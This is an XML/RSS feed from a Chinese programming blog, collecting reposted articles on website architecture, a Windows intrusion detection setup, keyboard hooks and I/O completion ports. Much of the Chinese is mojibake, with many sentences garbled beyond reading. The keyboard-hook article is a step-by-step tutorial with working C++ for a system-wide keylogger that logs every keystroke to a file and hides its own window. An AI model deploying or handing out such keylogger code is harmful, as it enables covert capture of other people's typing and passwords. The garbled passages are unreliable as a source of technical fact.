??xml version="1.0" encoding="utf-8" standalone="yes"?>日本久久中文字幕,综合久久一区二区三区 ,午夜天堂av天堂久久久http://www.shnenglu.com/twzheng/category/3937.html『站在风口浪紧握住鼠标旋{Q? 人在台北心在?/description>zh-cnMon, 15 Mar 2010 04:03:35 GMTMon, 15 Mar 2010 04:03:35 GMT60求windows xp J体?/title><link>http://www.shnenglu.com/twzheng/articles/109710.html</link><dc:creator>谭文?/dc:creator><author>谭文?/author><pubDate>Sun, 14 Mar 2010 16:05:00 GMT</pubDate><guid>http://www.shnenglu.com/twzheng/articles/109710.html</guid><wfw:comment>http://www.shnenglu.com/twzheng/comments/109710.html</wfw:comment><comments>http://www.shnenglu.com/twzheng/articles/109710.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/twzheng/comments/commentRss/109710.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/twzheng/services/trackbacks/109710.html</trackback:ping><description><![CDATA[求windows xp J体版,最好是台湾版的Q要能一步步的手动安?惌双系l?<br><br>找了好几天了Q很多资源都下不?br><br>今天好不Ҏ下了一个,但是香港版的Q且安装到选择盘符Ӟ键盘所有键都不能用,所以还是无法安?br><br>谢谢各位大哥大姐帮帮忙,弟感激不尽Q?img src ="http://www.shnenglu.com/twzheng/aggbug/109710.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/twzheng/" target="_blank">谭文?/a> 2010-03-15 00:05 <a href="http://www.shnenglu.com/twzheng/articles/109710.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>说说大型高ƈ发高负蝲|站的系l架?/title><link>http://www.shnenglu.com/twzheng/articles/39950.html</link><dc:creator>谭文?/dc:creator><author>谭文?/author><pubDate>Sat, 29 Dec 2007 11:58:00 GMT</pubDate><guid>http://www.shnenglu.com/twzheng/articles/39950.html</guid><wfw:comment>http://www.shnenglu.com/twzheng/comments/39950.html</wfw:comment><comments>http://www.shnenglu.com/twzheng/articles/39950.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.shnenglu.com/twzheng/comments/commentRss/39950.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/twzheng/services/trackbacks/39950.html</trackback:ping><description><![CDATA[<p align=center><strong><span>说说大型高ƈ发高负蝲|站的系l架?/span></strong><strong></strong></p> <p align=center>摘自 CSDN<span></span></p> <div> <p><span>我在</span><span>Cernet</span><span>做过拨号接入q_的搭建,而后?/span><span>Yahoo3721</span><span>负蝲搜烦引擎前端q_开发,又在猫扑处理q大型社区猫扑大杂烩的架构升U等工作Q同时自己接触和开发过不少大中型网站的模块Q因此在大型|站应对高负载和q发的解x案上有一些积累和l验Q可以和大家一h讨一下?/span></p> </div> <div> <p><span><SCRIPT type=text/javascript> show_ads_zone(13); </SCRIPT></span><span>我在</span><span>Cernet</span><span>做过拨号接入q_的搭建,而后?/span><span>Yahoo3721</span><span>负蝲搜烦引擎前端q_开发,又在猫扑处理q大型社区猫扑大杂烩的架构升U等工作Q同时自己接触和开发过不少大中型网站的模块Q因此在大型|站应对高负载和q发的解x案上有一些积累和l验Q可以和大家一h讨一下?/span></p> <p><span><br></span><span>一个小型的|站Q比如个人网站,可以使用最单的</span><span>html</span><span>静态页面就实现了,配合一些图片达到美化效果,所有的面均存攑֜一个目录下Q这L|站对系l架构、性能的要求都很简单,随着互联|业务的不断丰富Q网站相关的技术经q这些年的发展,已经l分到很l的Ҏ面面Q尤其对于大型网站来_所采用的技术更是涉及面非常q,从硬件到软g、编E语a、数据库?/span><span>WebServer</span><span>、防火墙{各个领域都有了很高的要求,已经不是原来单的</span><span>html</span><span>静态网站所能比拟的?/span></p> <p><span>大型|站Q比如门L站。在面对大量用户讉K、高q发h斚wQ基本的解决Ҏ集中在这样几个环节:使用高性能的服务器、高性能的数据库、高效率的编E语a、还有高性能?/span><span>Web</span><span>容器。但是除了这几个斚wQ还没法Ҏ解决大型|站面的高负蝲和高q发问题?/span></p> <p><span>上面提供的几个解x\在一定程度上也意味着更大的投入,q且q样的解x\具备瓉Q没有很好的扩展性,下面我从低成本、高性能和高扩张性的角度来说说我的一些经验?/span></p> <p><span>1</span><span>?/span><span>HTML</span><span>静态化</span><span><br></span><span>其实大家都知道,效率最高、消耗最的是U静态化?/span><span>html</span><span>面Q所以我们尽可能使我们的|站上的面采用静态页面来实现Q这个最单的Ҏ其实也是最有效的方法。但是对于大量内容ƈ且频J更新的|站Q我们无法全部手动去挨个实现Q于是出C我们常见的信息发布系l?/span><span>CMS</span><span>Q像我们常访问的各个门户站点的新闻频道,甚至他们的其他频道,都是通过信息发布pȝ来管理和实现的,信息发布pȝ可以实现最单的信息录入自动生成静态页面,q能具备频道理、权限管理、自动抓取等功能Q对于一个大型网站来_拥有一套高效、可理?/span><span>CMS</span><span>是必不可的?/span></p> <p><span>除了门户和信息发布类型的|站Q对于交互性要求很高的C֌cd|站来说Q尽可能的静态化也是提高性能的必要手D,社区内的帖子、文章进行实时的静态化Q有更新的时候再重新静态化也是大量使用的策略,?/span><span>Mop</span><span>的大杂烩是使用了这L{略Q网易社区等也是如此?/span></p> <p><span>同时Q?/span><span>html</span><span>静态化也是某些~存{略使用的手D,对于pȝ中频J用数据库查询但是内容更新很小的应用,可以考虑使用</span><span>html</span><span>静态化来实玎ͼ比如论坛中论坛的公用讄信息Q这些信息目前的L论坛都可以进行后台管理ƈ且存储再数据库中Q这些信息其实大量被前台E序调用Q但是更新频率很,可以考虑这部分内容q行后台更新的时候进行静态化Q这样避免了大量的数据库讉Kh?/span></p> <p><span>2</span><span>、图片服务器分离</span><span><br></span><span>大家知道Q对?/span><span>Web</span><span>服务器来_不管?/span><span>Apache</span><span>?/span><span>IIS</span><span>q是其他容器Q图片是最消耗资源的Q于是我们有必要图片与面q行分离Q这是基本上大型|站都会采用的策略,他们都有独立的图片服务器Q甚臛_多台囄服务器。这L架构可以降低提供面讉Kh的服务器pȝ压力Qƈ且可以保证系l不会因为图片问题而崩溃,在应用服务器和图片服务器上,可以q行不同的配|优化,比如</span><span>apache</span><span>在配|?/span><span>ContentType</span><span>的时候可以尽量少支持Q尽可能的</span><span>LoadModule</span><span>Q保证更高的pȝ消耗和执行效率?/span></p> <p><span>3</span><span>、数据库集群和库表散?/span><span><br></span><span>大型|站都有复杂的应用,q些应用必须使用数据库,那么在面对大量访问的时候,数据库的瓉很快p昄出来Q这时一台数据库很快无法满_用,于是我们需要用数据库集群或者库表散列?/span></p> <p><span>在数据库集群斚wQ很多数据库都有自己的解x案,</span><span>Oracle</span><span>?/span><span>Sybase</span><span>{都有很好的ҎQ常用的</span><span>MySQL</span><span>提供?/span><span>Master/Slave</span><span>也是cM的方案,您用了什么样?/span><span>DB</span><span>Q就参考相应的解决Ҏ来实施即可?/span></p> <p><span>上面提到的数据库集群׃在架构、成本、扩张性方面都会受到所采用</span><span>DB</span><span>cd的限Ӟ于是我们需要从应用E序的角度来考虑改善pȝ架构Q库表散列是常用q且最有效的解x案。我们在应用E序中安装业务和应用或者功能模块将数据库进行分,不同的模块对应不同的数据库或者表Q再按照一定的{略Ҏ个页面或者功能进行更的数据库散列,比如用户表,按照用户</span><span>ID</span><span>q行表散列,q样p够低成本的提升系l的性能q且有很好的扩展性?/span><span>sohu</span><span>的论坛就是采用了q样的架构,论坛的用户、设|、帖子等信息q行数据库分,然后对帖子、用h照板块和</span><span>ID</span><span>q行散列数据库和表,最l可以在配置文g中进行简单的配置便能让系l随时增加一C成本的数据库q来补充pȝ性能?/span></p> <p><span>4</span><span>、缓?/span><span><br></span><span>~存一词搞技术的都接触过Q很多地方用到缓存。网站架构和|站开发中的缓存也是非帔R要。这里先讲述最基本的两U缓存。高U和分布式的~存在后面讲q?/span><span><br></span><span>架构斚w的缓存,?/span><span>Apache</span><span>比较熟悉的h都能知道</span><span>Apache</span><span>提供了自q~存模块Q也可以使用外加?/span><span>Squid</span><span>模块q行~存Q这两种方式均可以有效的提高</span><span>Apache</span><span>的访问响应能力?/span><span><br></span><span>|站E序开发方面的~存Q?/span><span>Linux</span><span>上提供的</span><span>Memory Cache</span><span>是常用的~存接口Q可以在</span><span>web</span><span>开发中使用Q比如用</span><span>Java</span><span>开发的时候就可以调用</span><span>MemoryCache</span><span>对一些数据进行缓存和通讯׃nQ一些大型社Z用了q样的架构。另外,在?/span><span>web</span><span>语言开发的时候,各种语言基本都有自己的缓存模块和ҎQ?/span><span>PHP</span><span>?/span><span>Pear</span><span>?/span><span>Cache</span><span>模块Q?/span><span>Java</span><span>更多了Q?/span><span>.net</span><span>不是很熟悉,怿也肯定有?/span></p> <p><span>5</span><span>、镜?/span><span><br></span><span>镜像是大型网站常采用的提高性能和数据安全性的方式Q镜像的技术可以解决不同网l接入商和地域带来的用户讉K速度差异Q比?/span><span>ChinaNet</span><span>?/span><span>EduNet</span><span>之间的差异就促了很多网站在教育|内搭徏镜像站点Q数据进行定时更新或者实时更新。在镜像的细节技术方面,q里不阐q太深,有很多专业的现成的解x构和产品可选。也有廉L通过软g实现的思\Q比?/span><span>Linux</span><span>上的</span><span>rsync</span><span>{工兗?/span></p> <p><span>6</span><span>、负载均?/span><span><br></span><span>负蝲均衡是大型|站解决高负药问和大量q发h采用的终极解军_法?/span><span><br></span><span>负蝲均衡技术发展了多年Q有很多专业的服务提供商和品可以选择Q我个h接触q一些解x法,其中有两个架构可以给大家做参考?/span><span><br></span><span>g四层交换</span><span><br></span><span>W四层交换用第三层和第四层信息包的报头信息Q根据应用区间识别业务流Q将整个区间D늚业务分配到合适的应用服务器进行处理。 W四层交换功能就象是?/span><span>IP</span><span>Q指向物理服务器。它传输的业务服从的协议多种多样Q有</span><span>HTTP</span><span>?/span><span>FTP</span><span>?/span><span>NFS</span><span>?/span><span>Telnet</span><span>或其他协议。这些业务在物理服务器基上,需要复杂的载量q法。在</span><span>IP</span><span>世界Q业务类型由l端</span><span>TCP</span><span>?/span><span>UDP</span><span>端口地址来决定,在第四层交换中的应用区间则由源端和终?/span><span>IP</span><span>地址?/span><span>TCP</span><span>?/span><span>UDP</span><span>端口共同军_?/span><span><br></span><span>在硬件四层交换品领域,有一些知名的产品可以选择Q比?/span><span>Alteon</span><span>?/span><span>F5</span><span>{,q些产品很昂贵,但是物有所|能够提供非常优秀的性能和很灉|的管理能力?/span><span>Yahoo</span><span>中国当初接近</span><span>2000</span><span>台服务器使用了三四台</span><span>Alteon</span><span>搞定了?/span></p> <p><span>软g四层交换</span><span><br></span><span>大家知道了硬件四层交换机的原理后Q基?/span><span>OSI</span><span>模型来实现的软g四层交换也就应运而生Q这L解决Ҏ实现的原理一_不过性能E差。但是满一定量的压力还是游刃有余的Q有软g实现方式其实更灵z,处理能力完全看你配置的熟悉能力?/span><span><br></span><span>软g四层交换我们可以使用</span><span>Linux</span><span>上常用的</span><span>LVS</span><span>来解冻I</span><span>LVS</span><span>是</span><span>Linux Virtual Server</span><span>Q他提供了基于心跳线</span><span>heartbeat</span><span>的实时灾隑ֺ对解x案,提高pȝ的鲁性,同时可供了灵zȝ虚拟</span><span>VIP</span><span>配置和管理功能,可以同时满多种应用需求,q对于分布式的系l来说必不可?/span></p> <p><span>一个典型的使用负蝲均衡的策略就是,在Y件或者硬件四层交换的基础上搭?/span><span>squid</span><span>集群Q这U思\在很多大型网站包括搜索引擎上被采用,q样的架构低成本、高性能q有很强的扩张性,随时往架构里面增减节点都非常容易。这L架构我准备空了专门详l整理一下和大家探讨?/span></p> <p><span>对于大型|站来说Q前面提到的每个Ҏ可能都会被同时用到Q我q里介绍得比较浅显,具体实现q程中很多细节还需要大家慢慢熟悉和体会Q有时一个很的</span><span>squid</span><span>参数或?/span><span>apache</span><span>参数讄Q对于系l性能的媄响就会很大,希望大家一赯论,辑ֈ抛砖引玉之效?/span></p> <p><span>原文链接Q?/span><span><a >http://sunjiuchen.spaces.live.com/Blog/cns!4FF388881B3FE073!113.entry</a></span></p> </div> <img src ="http://www.shnenglu.com/twzheng/aggbug/39950.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/twzheng/" target="_blank">谭文?/a> 2007-12-29 19:58 <a href="http://www.shnenglu.com/twzheng/articles/39950.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>详述Windows 2003 SP2入门IDS构徏q程http://www.shnenglu.com/twzheng/articles/35898.html谭文?/dc:creator>谭文?/author>Mon, 05 Nov 2007 10:16:00 GMThttp://www.shnenglu.com/twzheng/articles/35898.htmlhttp://www.shnenglu.com/twzheng/comments/35898.htmlhttp://www.shnenglu.com/twzheng/articles/35898.html#Feedback0http://www.shnenglu.com/twzheng/comments/commentRss/35898.htmlhttp://www.shnenglu.com/twzheng/services/trackbacks/35898.html 详述Windows 2003 SP2入门IDS构徏q程

  IDS的技术手D其实ƈ不很秘Q接下来本文会用一U?#8220;摸瓜”的脉l,l大家介l一个较单的IDS入门U构架。从市场分布、入手难易的角度来看Q选择NIDS作ؓ范例q行部vQ比较地恰当。本文以完全的Windowsq_来诏I整个入?nobr>?/nobr>程Q由于篇q所限,以定?nobr>分析角度来陈q?

  预备知识

  IDSQIntrusion Detection SystemQ入侉|?nobr>pȝQ,通过攉|络pȝ信息来进行入侉|分析的软g与硬件的l合?

  对IDSq行标准化工作的两个l织Q作为国际互联网标准的制定者IETF的Intrusion Detection working GroupQIDWGQ入侉|工作组Q和Common Intrusion Detection FrameworkQCIDFQ通用入R框Ӟ?

  IDS分类QNetwork IDSQ基于网l)、Host-based IDSQ基于主机)、Hybrid IDSQ؜合式Q、Consoles IDSQ控制台Q、File Integrity CheckersQ文件完整性检查器Q、HoneypotsQ蜜|)。事件生系l?

  ҎCIDF阐述入R系l(IDSQ的通用模型思想Q具备所有要素、最单的入R组件如图所C。根据CIDF规范Q将IDS需要分析的数据l称为EventQ事ӞQEvent既可能是|络中的Data PacketsQ数据包Q,也可能是从System Log{其他方式得到的InformationQ信息)?

  没有数据进Q或数据被采集)QIDS是无根之木Q完全无用武之地?

  作ؓIDS的基层组l,事g产生pȝ大可施展拌Q它攉被定义的所有事Ӟ然后一股脑C到其它组仉。在Windows环境下,目前比较基本的做法是使用Winpcap和WinDump?

  大家知道Q对于事件生和事g分析pȝ来说Q眼下流行采用Linux和Unixq_的Y件和E序Q其实在Windowsq_中,也有cMLibpcapQ是Unix或Linux从内核捕Ll数据包的必备YӞ的工具即Winpcap?

  Winpcap是一套免费的Q?ZWindows的网l接口APIQ把|卡讄?#8220;h”模式Q然后@环处理网l捕L数据包。其技术实现简单,可移植性强Q与|卡无关Q但效率不高Q适合?00 Mbps以下的网l?

  相应的基于Windows的网l嗅探工hWinDumpQ是Linux/Unixq_的Tcpdump在Windows上的UL版)Q这个Y件必d于Winpcap接口Q这里有人Ş象地UWinpcap为:数据嗅探驱动E序Q。用WinDumpQ它能把匚w规则的数据包的包头给昄出来。你能用这个工具去查找|络问题或者去监视|络上的状况Q可以在一定程度上有效监控来自|络上的安全和不安全的行为?

  q两个Y件在|上都可以免费地扑ֈQ读者还可以查看相关软g使用教程?

  下面大略介绍一下徏立事件探及采集的步?

  1、装配Y件和gpȝ。根据网l繁忙程度决定是否采用普通兼Ҏ或性能较高的专用服务器Q安装NT核心的Windows操作pȝQ推荐?nobr>Windows Server 2003企业版,如果条g不满也可用Windows 2000 Advanced Server。分区格式徏议ؓNTFS格式?

  2、服务器的空间划分要合理有效Q执行程序的安装、数据日志的存储Q两者空间最好分别放|在不同分区?

  3、Winpcap的简单实现。首先安装它的驱动程序,可以到它的主|镜像站点下蝲WinPcap auto-installer (Driver+DLLs)Q直接安装?

  注:如果用Winpcap做开发,q需要下?DeveloperQs pack?

  WinPcap 包括三个模块Q第一个模块NPFQNetgroup Packet FilterQ,是一个VxDQ虚拟设备驱动程序)文g。其功能是过滤数据包Qƈ把这些包完好无损Cl用h模块。第二个模块packet.dll为Win32q_提供了一个公共接口,架构在packet.dll之上Q提供了更方ѝ更直接的编E方法。第三个模块 Wpcap.dll不依赖于M操作pȝQ是底层的动态链接库Q提供了高层、抽象的函数。具体用说明在各大|站上都有涉及,如何更好利用Winpcap需要较强的C环境~程能力?

  4、WinDump的创建。安装后Q在Windows命o提示W模式下q行Q用戯己可以查看网l状态,恕不赘述?

  如果没有软g兼容性问题、安装和配置正确的话Q事件探及采集已能实现?/p>

  事g分析pȝ
  ׃我们的网l大都用交换式以太网交换接,所以徏立事件分析系l的目的是实现对多种|络防火墙设备的探测Q以及多U采集方式(如基于Snmp、Syslog数据信息的采集)日志的支持,q提供一定的事g日志处理Q统计、分析和查询功能?

  事g分析pȝ是IDS的核心模块,主要功能是对各种事gq行分析Q从中发现违反安全策略的行ؓQ如何徏立是重点也是隄。如果自p或与人合作编写Y件系l,需要做好严谨的前期开发准备,如对|络协议、黑客攻凅R系l漏z有着比较清晰的认识,接着开始制定规则和{略Q它应该Z标准的技术标准和规范Q然后优化算法以提高执行效率Q徏立检模型,可以模拟q行d及分析过E?

  事g分析pȝ把检引擎驻留在监视|段中,一般通过三种技术手D进行分析:模式匚w、协议分析和行ؓ分析。当到某种误用模式Ӟ产生对应的警告信息ƈ发送给响应pȝ。目前来看,使用协议分析是实时检的最好方式?

  q个pȝ一U可能的方式是由协议分析器作Z体,可以在现成的、开攑ּ的协议分析工具包基础上来构徏Q协议分析器可以昄分组U网l传输流Q基于网l协议规则的警告q行自动分析来快速探攻ȝ存在Q由此,|络E序员和理员可监控q分析网l活动,从而主动检ƈ定位故障。用户可以尝试一下一个叫Ethereal的免费网l协议分析器Q它支持Windowspȝ。用户可以对׃件生系l抓取后保存在硬盘上的数据进行分析。你能交互式地浏览抓取到的数据包Q查看每一个数据包的摘要和详细信息。Ethereal有多U强大的特征Q如支持几乎所有的协议、丰富的qo语言、易于查看TCP会话l重构后的数据流{?

  响应pȝ

  响应pȝ是面向h、物的交互系l,可以说是整个pȝ的中转站和协调站。hxpȝ理员、物是其他所有组件。详l说来,响应pȝq个协调员要做的事很多:按照预置定义的方式,记录安全事g、生报警信息(如E-mail形式Q、记录附加日志、隔d侵者、终止进E、禁止受完的端口和服务、甚臛_戈一击;可以采取人工响应和自动响应(Z机器的响应)Q两者结合v来会比较好?

  响应pȝ的设计要?

  (1) 接受自事件生系l经事g分析pȝqo、分析、重建后的事件警报信息,然后交互l用P理员)查询q做则判断和采取理行ؓ?

  (2) l管理员提供理事g数据?/nobr>pȝ的一个接口,可以修改规则库、根据不同网l环境情况配|安全策略、读写数据库pȝ?

  (3)作用于前端系l时Q可理事g产生、分析系l(合称事g探测器)Q对该系l采集、探、分析的事gq行分类、筛选,可针对不同安全状况,重新对安全规则进行洗牌?

  响应pȝ和事件探器通常是以应用E序的Ş式实现?

  设计思\Q响应系l可分ؓ两个E序部分Q监听和控制?监听部分l定某个I闲端口Q接收从事g探测器发出的分析l果和其他信息,q{化存储文件到事g数据库系l中Q作为管理员可根据用h限调用来只读、修改以及特别的操作。控刉分可用GTKQ来~写GUIQ开发出较ؓ直观的图形用L面,目的主要是给用户一个更方便友好的界面来览警告信息?

  事g数据库系l?

  在Windowsq_下,虽然Access更易掌握Q但采用SQL Server 2000构徏会比Access有效Q而且q不是很隑օ手,此系l主要功能:记录、存储、重排事件信息,可供理员调用查看和Ҏd查取证用?

  此系l构造相对简单,只需利用到数据库软g的一些基本功能?

  要协调各lg之间的有目的通信Q各lg必能正确理解怺之间传递的各种数据的语义。可参考CIDF的通信机制Q构?层模型。注意各个组件之间的互操作性,保证安全、高效、顺畅?

  整合在后l的工作中会不断q行Q各个组件的功能也会不断完善。一个基本的、基于Windowsq_的IDS框架构建完毕。满网l条件的话,试试亲手做做自己的奶酪吧Q有一U不可名状的劳作后的甜蜜?/p>

]]>
用键盘钩子在Windowsq_捕获键盘动作http://www.shnenglu.com/twzheng/articles/25536.html谭文?/dc:creator>谭文?/author>Mon, 04 Jun 2007 16:29:00 GMThttp://www.shnenglu.com/twzheng/articles/25536.htmlhttp://www.shnenglu.com/twzheng/comments/25536.htmlhttp://www.shnenglu.com/twzheng/articles/25536.html#Feedback0http://www.shnenglu.com/twzheng/comments/commentRss/25536.htmlhttp://www.shnenglu.com/twzheng/services/trackbacks/25536.html用键盘钩子在Windowsq_捕获键盘动作
摘自Q好易教E网
信息产业部电子第二十二研I所青岛分所 郎锐

一、引a
我们可以在应用程序中毫不费力的捕获在本程序窗口上所q行的键盘操作,但如果我们想要将此程序作成一个监控程序,捕获在Windowsq_下Q意窗口上的键盘操作,需要借助于全局钩子来实C?
二、系l钩子和DLL
钩子的本质是一D는以处理系l消息的E序Q通过pȝ调用Q将其挂入系l。钩子的U类有很多,每种钩子可以截获q处理相应的消息Q每当特定的消息发出Q在到达目的H口之前Q钩子程序先行截莯消息、得到对此消息的控制权。此时在钩子函数中就可以ҎL消息q行加工处理Q甚臛_以强制结束消息的传递?
在本E序中我们需要捕获在LH口上的键盘输入Q这需要采用全局钩子以便拦截整个pȝ的消息,而全局钩子函数必须以DLLQ动态连接库Qؓ载体q行装QVC6中有三种形式的MFC DLL可供选择Q即Regular statically linked to MFC DLLQ标准静态链接MFC DLLQ、Regular using the shared MFC DLLQ标准动态链接MFC DLLQ以及Extension MFC DLLQ扩展MFC DLLQ?在本E序中ؓ方便赯采用了标准静态连接MFC DLL?
三、键盘钩子程序示?
本示例程序用到全局钩子函数Q程序分两部分:可执行程序KeyHook和动态连接库LaunchDLL?
1、首先编制MFC扩展动态连接库LaunchDLL.dll:
Q?Q选择MFC AppWizard(DLL)创徏目LaunchDLLQ在接下来的选项中选择Regular statically linked to MFC DLLQ标准静态链接MFC DLLQ?
Q?Q在LaunchDLL.h中添加宏定义和待导出函数的声明:
#define DllExport __declspec(dllexport)
……
DllExport void WINAPI InstallLaunchEv();
……
class CLaunchDLLApp : public CWinApp
{
public:
CLaunchDLLApp();
?
//{{AFX_VIRTUAL(CLaunchDLLApp)
//}}AFX_VIRTUAL
?
//{{AFX_MSG(CLaunchDLLApp)
// NOTE - the ClassWizard will add and remove member functions here.
// DO NOT EDIT what you see in these blocks of generated code !
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
Q?Q在LaunchDLL.cpp中添加全局变量Hook和全局函数LauncherHook、SaveLogQ?
HHOOK Hook;
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam);
void SaveLog(char* c);
Q?Q完成以上提到的q几个函数的实现部分Q?
……
CLaunchDLLApp theApp;
……
DllExport void WINAPI InstallLaunchEv()
{
Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,
(HOOKPROC)LauncherHook,
theApp.m_hInstance,
0);
}
在此我们实现了Windows的系l钩子的安装Q首先要调用SDK中的API函数SetWindowsHookEx来安装这个钩子函敎ͼ其原型是Q?
HHOOK SetWindowsHookEx(int idHook,
HOOKPROC lpfn,
HINSTANCE hMod,
DWORD dwThreadId);
其中Q第一个参数指定钩子的cdQ常用的有WH_MOUSE、WH_KEYBOARD、WH_GETMESSAGE{,在此我们只关心键盘操作所以设定ؓWH_KEYBOARDQ第二个参数标识钩子函数的入口地址Q当钩子钩到M消息后便调用q个函数,卛_不管pȝ的哪个窗口有键盘输入马上会引起LauncherHook的动作;W三个参数是钩子函数所在模块的句柄Q我们可以很单的讑֮其ؓ本应用程序的实例句柄Q最后一个参数是钩子相关函数的ID用以指定惌钩子去钩哪个U程Qؓ0时则拦截整个pȝ的消息,在本E序中钩子需要ؓ全局钩子Q故讑֮??
……
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
if(nCode==HC_ACTION)
{
if(lParam & 0x80000000)
{
char c[1];
c[0]=wParam;
SaveLog(c);
}
}
return Result;
}
虽然调用CallNextHookEx()是可选的Q但调用此函数的习惯是很值得推荐的;否则的话Q其他安装了钩子的应用程序将不会接收到钩子的通知而且q有可能产生不正的l果Q所以我们应量调用该函数除非绝寚w要阻止其他程序获取通知?
……
void SaveLog(char* c)
{
CTime tm=CTime::GetCurrentTime();
CString name;
name.Format("c:\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay());
CFile file;
if(!file.Open(name,CFile::modeReadWrite))
{
file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
}
file.SeekToEnd();
file.Write(c,1);
file.Close();
}
当有键弹L时候就通过此函数将刚弹L键保存到记录文g中从而实现对键盘q行监控记录的目的?
~译完成便可得到q行时所需的键盘钩子的动态连接库LaunchDLL.dll和进行静态链接时用到的LaunchDLL.lib?
2、下面开始编写调用此动态连接库的主E序Qƈ实现最后的集成Q?
Q?Q用MFC的AppWizard(EXE)创徏目KeyHookQ?
Q?Q选择单文,其余几步可均为确省;
Q?Q把LaunchDLL.h和LaunchDLL.lib复制到KeyHook工程目录中,LaunchDLL.dll复制到Debug目录下?
Q?Q链接DLL库,卛_"Project","Settings…"?Link"属性页内,?Object/librarymodules:"中填?LaunchDLL.lib"。再通过"Project"Q?Add To Project","Files…"LaunchDLL.hd到工E中来,最后在视类的源文gKeyHook.cpp中加入对其的引用Q?
#include "LaunchDLL.h"
q样我们可以象使用本工E内?函数一样用动态连接库LaunchDLL.dll中的所有导出函C?
Q?Q在视类中添加虚函数OnInitialUpdate()Qƈd代码完成寚w盘钩子的安装Q?
……
InstallLaunchEv();
……
Q?Q到此ؓ止其实已l完成了所有的功能Q但作ؓ一个后台监控YӞq行时ƈ不希望有界面Q可以在应用E序cCkeyHookApp的InitInstance()函数中将m_pMainWnd->ShowWindow(SW_SHOW);改ؓm_pMainWnd->ShowWindow(SW_HIDE);卛_?
四、运行与?
~译q行E序Q运行v来之后ƈ无什么现象,但通过Alt+Ctrl+Del在关闭程序对话框内可以找到我们刚~写完毕的程?KeyHook",随便在什么程序中通过键盘输入字符Q然后打开记录文gQ我们会发现Q通过键盘钩子Q我们刚才输入的字符都被记录到记录文件中了?
结Q系l钩子具有相当强大的功能Q通过q种技术可以对几乎所有的Windowspȝ消息q行拦截、监视、处理。这U技术广泛应用于各种自动监控pȝ中?br>

]]>
完成端口中的单句柄数据结构与单IO数据l构的理解与设计http://www.shnenglu.com/twzheng/articles/25359.html谭文?/dc:creator>谭文?/author>Sat, 02 Jun 2007 15:19:00 GMThttp://www.shnenglu.com/twzheng/articles/25359.htmlhttp://www.shnenglu.com/twzheng/comments/25359.htmlhttp://www.shnenglu.com/twzheng/articles/25359.html#Feedback0http://www.shnenglu.com/twzheng/comments/commentRss/25359.htmlhttp://www.shnenglu.com/twzheng/services/trackbacks/25359.html完成端口中的单句柄数据结构与单IO数据l构的理解与设计

本文作者:sodme
本文出处Q?font style="COLOR: #000000" color=#0000ff>http://blog.csdn.net/sodme
声明Q本文可以不l作者同意Q意{载、复制、传播,但Q何对本文的引用均M留本文的作者、出处及本行声明信息Q谢谢!

  完成端口模型Q针对于WINq_的其它异步网l模型而言Q最大的好处Q除了性能斚w的卓外Q还在于完成端口在传递网l事件的通知Ӟ可以一q传递与此事件相关的应用层数据。这个应用层数据Q体现在两个斚wQ一是单句柄数据Q二是单IO数据?br>
  GetQueuedCompletionStatus函数的原型如下:
  WINBASEAPI
  BOOL
  WINAPI
  GetQueuedCompletionStatus(
      IN  HANDLE CompletionPort,
      OUT LPDWORD lpNumberOfBytesTransferred,
      OUT PULONG_PTR lpCompletionKey,
      OUT LPOVERLAPPED *lpOverlapped,
      IN  DWORD dwMilliseconds
     );
  其中Q我们把W三个参数lpCompletionKeyUCؓ完成键,由它传递的数据UCؓ单句柄数据。我们把W四个参数lpOverlappedUCؓ重叠l构体,由它传递的数据UCؓ单IO数据?br>
  以字面的意思来理解QlpCompletionKey内包容的东西应该是与各个socket一一对应的,而lpOverlapped是与每一ơ的wsarecv或wsasend操作一一对应的?br>
  在网l模型的常见设计中,当一个客Lq接到服务器后,服务器会通过accept或AcceptEx创徏一个socketQ而应用层Z保存与此socket相关的其它信息(比如Q该socket所对应的sockaddr_inl构体数据,该结构体内含客户端IP{信息,以及Z于客L的逻辑包整理而准备的数据整理~冲区等Q,往往需要创Z个与该socket一一对应的客L底层通信对象Q这个对象可以负责保存仅在网l层需要处理的数据成员和方法,然后我们需要将此客L底层通信对象攑օ一个类glist或map的容器中Q待到需要用的时候,使用容器的查扄法根据socket值找到它所对应的对象然后进行我们所需要的操作?br>
  让h非常高兴的是Q完成端?#8220;体脓入微”Q它已经帮我们在每次的完成事仉知ӞE带着把该socket所对应的底层通信对象的指针送给了我们,q个指针是lpCompletionKey。也是_当我们从GetQueuedCompletionStatus函数取得一个数据接收完成的通知Q需要将此次收到的数据放到该socket所对应的通信对象整理~冲区内Ҏ据进行整理时Q我们已l不需要去执行list或map{的查找法Q而是可以直接定位q个对象了,当客Lq接量很大时Q频J查表还是很影响效率的。哇哦,太帅了,不是吗?呵呵?br>
  Z以上的认识,我们的lpCompletionKey对象可以设计如下Q?br>  typedef struct PER_HANDLE_DATA
  {
    SOCKET socket;             //本结构体对应的socket?br>    sockaddr_in addr;          //用于存放客户端IP{信?br>    char DataBuf[ 2*MAX_BUFFER_SIZE ];  //整理~冲?用于存放每次整理时的数据
  }

  PER_HANDLE_DATA与socket的绑定,通过CreateIOCompletionPort完成Q将该结构体地址作ؓ该函数的W三个参C入即可。而PER_HANDLE_DATAl构体中addr成员Q是在accept执行成功后进行赋值的。DataBuf则可以在每次WSARecv操作完成Q需要整理缓冲区数据时用?br>
  下面我们再来看看完成端口的收、发操作中所使用到的重叠l构体OVERLAPPED?br>
